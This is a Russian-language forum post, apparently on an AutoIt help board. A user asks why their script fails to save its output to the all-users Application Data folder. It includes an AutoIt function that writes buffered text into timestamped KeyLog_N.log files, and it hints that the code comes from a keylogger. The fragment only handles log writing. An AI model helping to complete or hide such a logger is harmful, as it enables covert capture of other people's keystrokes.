maxim_porsche
Новичок
- Сообщения
- 25
- Репутация
- 0
Версия AutoIt: v3
Описание: Автоматическое сохранение файла(массива)
Примечания:
Здравствуйте!
Суть проблемы:
Запускается программа--->после её окончания должен сохраниться файл)
Конкретно,он должен сохраниться в папку для всех пользователей application data,но у меня он никак не сохранятеся :(
Вот кусочек скрипта
P.S. самые догадливые поймут откуда он)
Описание: Автоматическое сохранение файла(массива)
Примечания:
Здравствуйте!
Суть проблемы:
Запускается программа--->после её окончания должен сохраниться файл)
Конкретно,он должен сохраниться в папку для всех пользователей application data,но у меня он никак не сохранятеся :(
Вот кусочек скрипта
Код:
Func _AutoSave()
If StringLen($Text)>$KolSum0 Then
$i = 0
Do
$i+=1
Until Not FileExists(@ScriptDir&'KeyLog_'&$i&'.log')
Dim $filename=@ScriptDir&'KeyLog_'&$i&'.log'
If FileGetSize($filename)>$Size0*1024 Then $filename=@ScriptDir&'KeyLog_'&$i&'.log'
$Text=StringRegExpReplace($Text, '(\r\n){2,}', @CRLF&@CRLF) ;удаляем многократные переходы строк
$aText=StringRegExp($Text,'(?s)(^.*)\r\n(.*)$',3)
If @Error Then
Local $file = FileOpen($filename,1)
FileWrite($file, @CRLF&@MDAY&"."&@MON&"."&@YEAR&" - "&@HOUR&":"&@MIN&":"&@SEC&@CRLF&$Text)
FileClose($file)
$Text=''
Else
If UBound($aText)=2 Then
Local $file = FileOpen($filename,1)
FileWrite($file, @CRLF&@MDAY&"."&@MON&"."&@YEAR&" - "&@HOUR&":"&@MIN&":"&@SEC&@CRLF&$aText[0])
FileClose($file)
$Text=$aText[1]
EndIf
EndIf
EndIf
EndFunc
P.S. самые догадливые поймут откуда он)